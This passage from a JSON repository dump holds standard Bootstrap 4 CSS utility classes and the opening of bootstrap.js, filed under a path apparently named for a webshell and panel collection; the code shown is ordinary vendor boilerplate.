!important;\n  }\n  .mx-sm-1 {\n    margin-right: 0.25rem !important;\n    margin-left: 0.25rem !important;\n  }\n  .my-sm-1 {\n    margin-top: 0.25rem !important;\n    margin-bottom: 0.25rem !important;\n  }\n  .m-sm-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-sm-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-sm-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-sm-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-sm-2 {\n    margin-left: 0.5rem !important;\n  }\n  .mx-sm-2 {\n    margin-right: 0.5rem !important;\n    margin-left: 0.5rem !important;\n  }\n  .my-sm-2 {\n    margin-top: 0.5rem !important;\n    margin-bottom: 0.5rem !important;\n  }\n  .m-sm-3 {\n    margin: 1rem !important;\n  }\n  .mt-sm-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-sm-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-sm-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-sm-3 {\n    margin-left: 1rem !important;\n  }\n  .mx-sm-3 {\n    margin-right: 1rem !important;\n    margin-left: 1rem !important;\n  }\n  .my-sm-3 {\n    margin-top: 1rem !important;\n    margin-bottom: 1rem !important;\n  }\n  .m-sm-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-sm-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-sm-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-sm-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-sm-4 {\n    margin-left: 1.5rem !important;\n  }\n  .mx-sm-4 {\n    margin-right: 1.5rem !important;\n    margin-left: 1.5rem !important;\n  }\n  .my-sm-4 {\n    margin-top: 1.5rem !important;\n    margin-bottom: 1.5rem !important;\n  }\n  .m-sm-5 {\n    margin: 3rem !important;\n  }\n  .mt-sm-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-sm-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-sm-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-sm-5 {\n    margin-left: 3rem !important;\n  }\n  .mx-sm-5 {\n    margin-right: 3rem !important;\n    margin-left: 3rem !important;\n  }\n  .my-sm-5 {\n    margin-top: 3rem !important;\n    margin-bottom: 3rem !important;\n  }\n  .p-sm-0 {\n    padding: 0 !important;\n  }\n  .pt-sm-0 {\n    padding-top: 0 !important;\n  }\n  .pr-sm-0 {\n    padding-right: 0 !important;\n  }\n  .pb-sm-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-sm-0 {\n    padding-left: 0 !important;\n  }\n  .px-sm-0 {\n    padding-right: 0 !important;\n    padding-left: 0 !important;\n  }\n  .py-sm-0 {\n    padding-top: 0 !important;\n    padding-bottom: 0 !important;\n  }\n  .p-sm-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-sm-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-sm-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-sm-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-sm-1 {\n    padding-left: 0.25rem !important;\n  }\n  .px-sm-1 {\n    padding-right: 0.25rem !important;\n    padding-left: 0.25rem !important;\n  }\n  .py-sm-1 {\n    padding-top: 0.25rem !important;\n    padding-bottom: 0.25rem !important;\n  }\n  .p-sm-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-sm-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-sm-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-sm-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-sm-2 {\n    padding-left: 0.5rem !important;\n  }\n  .px-sm-2 {\n    padding-right: 0.5rem !important;\n    padding-left: 0.5rem !important;\n  }\n  .py-sm-2 {\n    padding-top: 0.5rem !important;\n    padding-bottom: 0.5rem !important;\n  }\n  .p-sm-3 {\n    padding: 1rem !important;\n  }\n  .pt-sm-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-sm-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-sm-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-sm-3 {\n    padding-left: 1rem !important;\n  }\n  .px-sm-3 {\n    padding-right: 1rem !important;\n    padding-left: 1rem !important;\n  }\n  .py-sm-3 {\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n  }\n  .p-sm-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-sm-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-sm-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-sm-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-sm-4 {\n    padding-left: 1.5rem !important;\n  }\n  .px-sm-4 {\n    padding-right: 1.5rem !important;\n    padding-left: 1.5rem !important;\n  }\n  .py-sm-4 {\n    padding-top: 1.5rem !important;\n    padding-bottom: 1.5rem !important;\n  }\n  .p-sm-5 {\n    padding: 3rem !important;\n  }\n  .pt-sm-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-sm-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-sm-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-sm-5 {\n    padding-left: 3rem !important;\n  }\n  .px-sm-5 {\n    padding-right: 3rem !important;\n    padding-left: 3rem !important;\n  }\n  .py-sm-5 {\n    padding-top: 3rem !important;\n    padding-bottom: 3rem !important;\n  }\n  .m-sm-auto {\n    margin: auto !important;\n  }\n  .mt-sm-auto {\n    margin-top: auto !important;\n  }\n  .mr-sm-auto {\n    margin-right: auto !important;\n  }\n  .mb-sm-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-sm-auto {\n    margin-left: auto !important;\n  }\n  .mx-sm-auto {\n    margin-right: auto !important;\n    margin-left: auto !important;\n  }\n  .my-sm-auto {\n    margin-top: auto !important;\n    margin-bottom: auto !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .m-md-0 {\n    margin: 0 !important;\n  }\n  .mt-md-0 {\n    margin-top: 0 !important;\n  }\n  .mr-md-0 {\n    margin-right: 0 !important;\n  }\n  .mb-md-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-md-0 {\n    margin-left: 0 !important;\n  }\n  .mx-md-0 {\n    margin-right: 0 !important;\n    margin-left: 0 !important;\n  }\n  .my-md-0 {\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n  }\n  .m-md-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-md-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-md-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-md-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-md-1 {\n    margin-left: 0.25rem !important;\n  }\n  .mx-md-1 {\n    margin-right: 0.25rem !important;\n    margin-left: 0.25rem !important;\n  }\n  .my-md-1 {\n    margin-top: 0.25rem !important;\n    margin-bottom: 0.25rem !important;\n  }\n  .m-md-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-md-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-md-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-md-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-md-2 {\n    margin-left: 0.5rem !important;\n  }\n  .mx-md-2 {\n    margin-right: 0.5rem !important;\n    margin-left: 0.5rem !important;\n  }\n  .my-md-2 {\n    margin-top: 0.5rem !important;\n    margin-bottom: 0.5rem !important;\n  }\n  .m-md-3 {\n    margin: 1rem !important;\n  }\n  .mt-md-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-md-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-md-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-md-3 {\n    margin-left: 1rem !important;\n  }\n  .mx-md-3 {\n    margin-right: 1rem !important;\n    margin-left: 1rem !important;\n  }\n  .my-md-3 {\n    margin-top: 1rem !important;\n    margin-bottom: 1rem !important;\n  }\n  .m-md-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-md-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-md-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-md-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-md-4 {\n    margin-left: 1.5rem !important;\n  }\n  .mx-md-4 {\n    margin-right: 1.5rem !important;\n    margin-left: 1.5rem !important;\n  }\n  .my-md-4 {\n    margin-top: 1.5rem !important;\n    margin-bottom: 1.5rem !important;\n  }\n  .m-md-5 {\n    margin: 3rem !important;\n  }\n  .mt-md-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-md-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-md-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-md-5 {\n    margin-left: 3rem !important;\n  }\n  .mx-md-5 {\n    margin-right: 3rem !important;\n    margin-left: 3rem !important;\n  }\n  .my-md-5 {\n    margin-top: 3rem !important;\n    margin-bottom: 3rem !important;\n  }\n  .p-md-0 {\n    padding: 0 !important;\n  }\n  .pt-md-0 {\n    padding-top: 0 !important;\n  }\n  .pr-md-0 {\n    padding-right: 0 !important;\n  }\n  .pb-md-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-md-0 {\n    padding-left: 0 !important;\n  }\n  .px-md-0 {\n    padding-right: 0 !important;\n    padding-left: 0 !important;\n  }\n  .py-md-0 {\n    padding-top: 0 !important;\n    padding-bottom: 0 !important;\n  }\n  .p-md-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-md-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-md-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-md-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-md-1 {\n    padding-left: 0.25rem !important;\n  }\n  .px-md-1 {\n    padding-right: 0.25rem !important;\n    padding-left: 0.25rem !important;\n  }\n  .py-md-1 {\n    padding-top: 0.25rem !important;\n    padding-bottom: 0.25rem !important;\n  }\n  .p-md-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-md-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-md-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-md-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-md-2 {\n    padding-left: 0.5rem !important;\n  }\n  .px-md-2 {\n    padding-right: 0.5rem !important;\n    padding-left: 0.5rem !important;\n  }\n  .py-md-2 {\n    padding-top: 0.5rem !important;\n    padding-bottom: 0.5rem !important;\n  }\n  .p-md-3 {\n    padding: 1rem !important;\n  }\n  .pt-md-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-md-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-md-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-md-3 {\n    padding-left: 1rem !important;\n  }\n  .px-md-3 {\n    padding-right: 1rem !important;\n    padding-left: 1rem !important;\n  }\n  .py-md-3 {\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n  }\n  .p-md-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-md-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-md-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-md-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-md-4 {\n    padding-left: 1.5rem !important;\n  }\n  .px-md-4 {\n    padding-right: 1.5rem !important;\n    padding-left: 1.5rem !important;\n  }\n  .py-md-4 {\n    padding-top: 1.5rem !important;\n    padding-bottom: 1.5rem !important;\n  }\n  .p-md-5 {\n    padding: 3rem !important;\n  }\n  .pt-md-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-md-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-md-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-md-5 {\n    padding-left: 3rem !important;\n  }\n  .px-md-5 {\n    padding-right: 3rem !important;\n    padding-left: 3rem !important;\n  }\n  .py-md-5 {\n    padding-top: 3rem !important;\n    padding-bottom: 3rem !important;\n  }\n  .m-md-auto {\n    margin: auto !important;\n  }\n  .mt-md-auto {\n    margin-top: auto !important;\n  }\n  .mr-md-auto {\n    margin-right: auto !important;\n  }\n  .mb-md-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-md-auto {\n    margin-left: auto !important;\n  }\n  .mx-md-auto {\n    margin-right: auto !important;\n    margin-left: auto !important;\n  }\n  .my-md-auto {\n    margin-top: auto !important;\n    margin-bottom: auto !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .m-lg-0 {\n    margin: 0 !important;\n  }\n  .mt-lg-0 {\n    margin-top: 0 !important;\n  }\n  .mr-lg-0 {\n    margin-right: 0 !important;\n  }\n  .mb-lg-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-lg-0 {\n    margin-left: 0 !important;\n  }\n  .mx-lg-0 {\n    margin-right: 0 !important;\n    margin-left: 0 !important;\n  }\n  .my-lg-0 {\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n  }\n  .m-lg-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-lg-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-lg-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-lg-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-lg-1 {\n    margin-left: 0.25rem !important;\n  }\n  .mx-lg-1 {\n    margin-right: 0.25rem !important;\n    margin-left: 0.25rem !important;\n  }\n  .my-lg-1 {\n    margin-top: 0.25rem !important;\n    margin-bottom: 0.25rem !important;\n  }\n  .m-lg-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-lg-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-lg-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-lg-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-lg-2 {\n    margin-left: 0.5rem !important;\n  }\n  .mx-lg-2 {\n    margin-right: 0.5rem !important;\n    margin-left: 0.5rem !important;\n  }\n  .my-lg-2 {\n    margin-top: 0.5rem !important;\n    margin-bottom: 0.5rem !important;\n  }\n  .m-lg-3 {\n    margin: 1rem !important;\n  }\n  .mt-lg-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-lg-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-lg-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-lg-3 {\n    margin-left: 1rem !important;\n  }\n  .mx-lg-3 {\n    margin-right: 1rem !important;\n    margin-left: 1rem !important;\n  }\n  .my-lg-3 {\n    margin-top: 1rem !important;\n    margin-bottom: 1rem !important;\n  }\n  .m-lg-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-lg-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-lg-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-lg-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-lg-4 {\n    margin-left: 1.5rem !important;\n  }\n  .mx-lg-4 {\n    margin-right: 1.5rem !important;\n    margin-left: 1.5rem !important;\n  }\n  .my-lg-4 {\n    margin-top: 1.5rem !important;\n    margin-bottom: 1.5rem !important;\n  }\n  .m-lg-5 {\n    margin: 3rem !important;\n  }\n  .mt-lg-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-lg-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-lg-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-lg-5 {\n    margin-left: 3rem !important;\n  }\n  .mx-lg-5 {\n    margin-right: 3rem !important;\n    margin-left: 3rem !important;\n  }\n  .my-lg-5 {\n    margin-top: 3rem !important;\n    margin-bottom: 3rem !important;\n  }\n  .p-lg-0 {\n    padding: 0 !important;\n  }\n  .pt-lg-0 {\n    padding-top: 0 !important;\n  }\n  .pr-lg-0 {\n    padding-right: 0 !important;\n  }\n  .pb-lg-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-lg-0 {\n    padding-left: 0 !important;\n  }\n  .px-lg-0 {\n    padding-right: 0 !important;\n    padding-left: 0 !important;\n  }\n  .py-lg-0 {\n    padding-top: 0 !important;\n    padding-bottom: 0 !important;\n  }\n  .p-lg-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-lg-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-lg-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-lg-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-lg-1 {\n    padding-left: 0.25rem !important;\n  }\n  .px-lg-1 {\n    padding-right: 0.25rem !important;\n    padding-left: 0.25rem !important;\n  }\n  .py-lg-1 {\n    padding-top: 0.25rem !important;\n    padding-bottom: 0.25rem !important;\n  }\n  .p-lg-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-lg-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-lg-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-lg-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-lg-2 {\n    padding-left: 0.5rem !important;\n  }\n  .px-lg-2 {\n    padding-right: 0.5rem !important;\n    padding-left: 0.5rem !important;\n  }\n  .py-lg-2 {\n    padding-top: 0.5rem !important;\n    padding-bottom: 0.5rem !important;\n  }\n  .p-lg-3 {\n    padding: 1rem !important;\n  }\n  .pt-lg-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-lg-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-lg-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-lg-3 {\n    padding-left: 1rem !important;\n  }\n  .px-lg-3 {\n    padding-right: 1rem !important;\n    padding-left: 1rem !important;\n  }\n  .py-lg-3 {\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n  }\n  .p-lg-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-lg-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-lg-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-lg-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-lg-4 {\n    padding-left: 1.5rem !important;\n  }\n  .px-lg-4 {\n    padding-right: 1.5rem !important;\n    padding-left: 1.5rem !important;\n  }\n  .py-lg-4 {\n    padding-top: 1.5rem !important;\n    padding-bottom: 1.5rem !important;\n  }\n  .p-lg-5 {\n    padding: 3rem !important;\n  }\n  .pt-lg-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-lg-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-lg-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-lg-5 {\n    padding-left: 3rem !important;\n  }\n  .px-lg-5 {\n    padding-right: 3rem !important;\n    padding-left: 3rem !important;\n  }\n  .py-lg-5 {\n    padding-top: 3rem !important;\n    padding-bottom: 3rem !important;\n  }\n  .m-lg-auto {\n    margin: auto !important;\n  }\n  .mt-lg-auto {\n    margin-top: auto !important;\n  }\n  .mr-lg-auto {\n    margin-right: auto !important;\n  }\n  .mb-lg-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-lg-auto {\n    margin-left: auto !important;\n  }\n  .mx-lg-auto {\n    margin-right: auto !important;\n    margin-left: auto !important;\n  }\n  .my-lg-auto {\n    margin-top: auto !important;\n    margin-bottom: auto !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .m-xl-0 {\n    margin: 0 !important;\n  }\n  .mt-xl-0 {\n    margin-top: 0 !important;\n  }\n  .mr-xl-0 {\n    margin-right: 0 !important;\n  }\n  .mb-xl-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-xl-0 {\n    margin-left: 0 !important;\n  }\n  .mx-xl-0 {\n    margin-right: 0 !important;\n    margin-left: 0 !important;\n  }\n  .my-xl-0 {\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n  }\n  .m-xl-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-xl-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-xl-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-xl-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-xl-1 {\n    margin-left: 0.25rem !important;\n  }\n  .mx-xl-1 {\n    margin-right: 0.25rem !important;\n    margin-left: 0.25rem !important;\n  }\n  .my-xl-1 {\n    margin-top: 0.25rem !important;\n    margin-bottom: 0.25rem !important;\n  }\n  .m-xl-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-xl-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-xl-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-xl-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-xl-2 {\n    margin-left: 0.5rem !important;\n  }\n  .mx-xl-2 {\n    margin-right: 0.5rem !important;\n    margin-left: 0.5rem !important;\n  }\n  .my-xl-2 {\n    margin-top: 0.5rem !important;\n    margin-bottom: 0.5rem !important;\n  }\n  .m-xl-3 {\n    margin: 1rem !important;\n  }\n  .mt-xl-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-xl-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-xl-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-xl-3 {\n    margin-left: 1rem !important;\n  }\n  .mx-xl-3 {\n    margin-right: 1rem !important;\n    margin-left: 1rem !important;\n  }\n  .my-xl-3 {\n    margin-top: 1rem !important;\n    margin-bottom: 1rem !important;\n  }\n  .m-xl-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-xl-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-xl-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-xl-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-xl-4 {\n    margin-left: 1.5rem !important;\n  }\n  .mx-xl-4 {\n    margin-right: 1.5rem !important;\n    margin-left: 1.5rem !important;\n  }\n  .my-xl-4 {\n    margin-top: 1.5rem !important;\n    margin-bottom: 1.5rem !important;\n  }\n  .m-xl-5 {\n    margin: 3rem !important;\n  }\n  .mt-xl-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-xl-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-xl-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-xl-5 {\n    margin-left: 3rem !important;\n  }\n  .mx-xl-5 {\n    margin-right: 3rem !important;\n    margin-left: 3rem !important;\n  }\n  .my-xl-5 {\n    margin-top: 3rem !important;\n    margin-bottom: 3rem !important;\n  }\n  .p-xl-0 {\n    padding: 0 !important;\n  }\n  .pt-xl-0 {\n    padding-top: 0 !important;\n  }\n  .pr-xl-0 {\n    padding-right: 0 !important;\n  }\n  .pb-xl-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-xl-0 {\n    padding-left: 0 !important;\n  }\n  .px-xl-0 {\n    padding-right: 0 !important;\n    padding-left: 0 !important;\n  }\n  .py-xl-0 {\n    padding-top: 0 !important;\n    padding-bottom: 0 !important;\n  }\n  .p-xl-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-xl-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-xl-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-xl-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-xl-1 {\n    padding-left: 0.25rem !important;\n  }\n  .px-xl-1 {\n    padding-right: 0.25rem !important;\n    padding-left: 0.25rem !important;\n  }\n  .py-xl-1 {\n    padding-top: 0.25rem !important;\n    padding-bottom: 0.25rem !important;\n  }\n  .p-xl-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-xl-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-xl-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-xl-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-xl-2 {\n    padding-left: 0.5rem !important;\n  }\n  .px-xl-2 {\n    padding-right: 0.5rem !important;\n    padding-left: 0.5rem !important;\n  }\n  .py-xl-2 {\n    padding-top: 0.5rem !important;\n    padding-bottom: 0.5rem !important;\n  }\n  .p-xl-3 {\n    padding: 1rem !important;\n  }\n  .pt-xl-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-xl-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-xl-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-xl-3 {\n    padding-left: 1rem !important;\n  }\n  .px-xl-3 {\n    padding-right: 1rem !important;\n    padding-left: 1rem !important;\n  }\n  .py-xl-3 {\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n  }\n  .p-xl-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-xl-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-xl-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-xl-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-xl-4 {\n    padding-left: 1.5rem !important;\n  }\n  .px-xl-4 {\n    padding-right: 1.5rem !important;\n    padding-left: 1.5rem !important;\n  }\n  .py-xl-4 {\n    padding-top: 1.5rem !important;\n    padding-bottom: 1.5rem !important;\n  }\n  .p-xl-5 {\n    padding: 3rem !important;\n  }\n  .pt-xl-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-xl-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-xl-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-xl-5 {\n    padding-left: 3rem !important;\n  }\n  .px-xl-5 {\n    padding-right: 3rem !important;\n    padding-left: 3rem !important;\n  }\n  .py-xl-5 {\n    padding-top: 3rem !important;\n    padding-bottom: 3rem !important;\n  }\n  .m-xl-auto {\n    margin: auto !important;\n  }\n  .mt-xl-auto {\n    margin-top: auto !important;\n  }\n  .mr-xl-auto {\n    margin-right: auto !important;\n  }\n  .mb-xl-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-xl-auto {\n    margin-left: auto !important;\n  }\n  .mx-xl-auto {\n    margin-right: auto !important;\n    margin-left: auto !important;\n  }\n  .my-xl-auto {\n    margin-top: auto !important;\n    margin-bottom: auto !important;\n  }\n}\n\n.text-justify {\n  text-align: justify !important;\n}\n\n.text-nowrap {\n  white-space: nowrap !important;\n}\n\n.text-truncate {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n@media (min-width: 576px) {\n  .text-sm-left {\n    text-align: left !important;\n  }\n  .text-sm-right {\n    text-align: right !important;\n  }\n  .text-sm-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .text-md-left {\n    text-align: left !important;\n  }\n  .text-md-right {\n    text-align: right !important;\n  }\n  .text-md-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .text-lg-left {\n    text-align: left !important;\n  }\n  .text-lg-right {\n    text-align: right !important;\n  }\n  .text-lg-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .text-xl-left {\n    text-align: left !important;\n  }\n  .text-xl-right {\n    text-align: right !important;\n  }\n  .text-xl-center {\n    text-align: center !important;\n  }\n}\n\n.text-lowercase {\n  text-transform: lowercase !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n\n.text-capitalize {\n  text-transform: capitalize !important;\n}\n\n.font-weight-normal {\n  font-weight: normal;\n}\n\n.font-weight-bold {\n  font-weight: bold;\n}\n\n.font-italic {\n  font-style: italic;\n}\n\n.text-white {\n  color: #fff !important;\n}\n\n.text-primary {\n  color: #007bff !important;\n}\n\na.text-primary:focus, a.text-primary:hover {\n  color: #0062cc !important;\n}\n\n.text-secondary {\n  color: #868e96 !important;\n}\n\na.text-secondary:focus, a.text-secondary:hover {\n  color: #6c757d !important;\n}\n\n.text-success {\n  color: #28a745 !important;\n}\n\na.text-success:focus, a.text-success:hover {\n  color: #1e7e34 !important;\n}\n\n.text-info {\n  color: #17a2b8 !important;\n}\n\na.text-info:focus, a.text-info:hover {\n  color: #117a8b !important;\n}\n\n.text-warning {\n  color: #ffc107 !important;\n}\n\na.text-warning:focus, a.text-warning:hover {\n  color: #d39e00 !important;\n}\n\n.text-danger {\n  color: #dc3545 !important;\n}\n\na.text-danger:focus, a.text-danger:hover {\n  color: #bd2130 !important;\n}\n\n.text-light {\n  color: #f8f9fa !important;\n}\n\na.text-light:focus, a.text-light:hover {\n  color: #dae0e5 !important;\n}\n\n.text-dark {\n  color: #343a40 !important;\n}\n\na.text-dark:focus, a.text-dark:hover {\n  color: #1d2124 !important;\n}\n\n.text-muted {\n  color: #868e96 !important;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.visible {\n  visibility: visible !important;\n}\n\n.invisible {\n  visibility: hidden !important;\n}\n/*# sourceMappingURL=bootstrap.css.map */"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/js/bootstrap.js",
    "content": "/*!\n * Bootstrap v4.0.0-beta (https://getbootstrap.com)\n * Copyright 2011-2017 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\nif (typeof jQuery === 'undefined') {\n  throw new Error('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n}\n\n(function ($) {\n  var version = $.fn.jquery.split(' ')[0].split('.')\n  if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] >= 4)) {\n    throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n  }\n})(jQuery);\n\n(function () {\nvar _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol 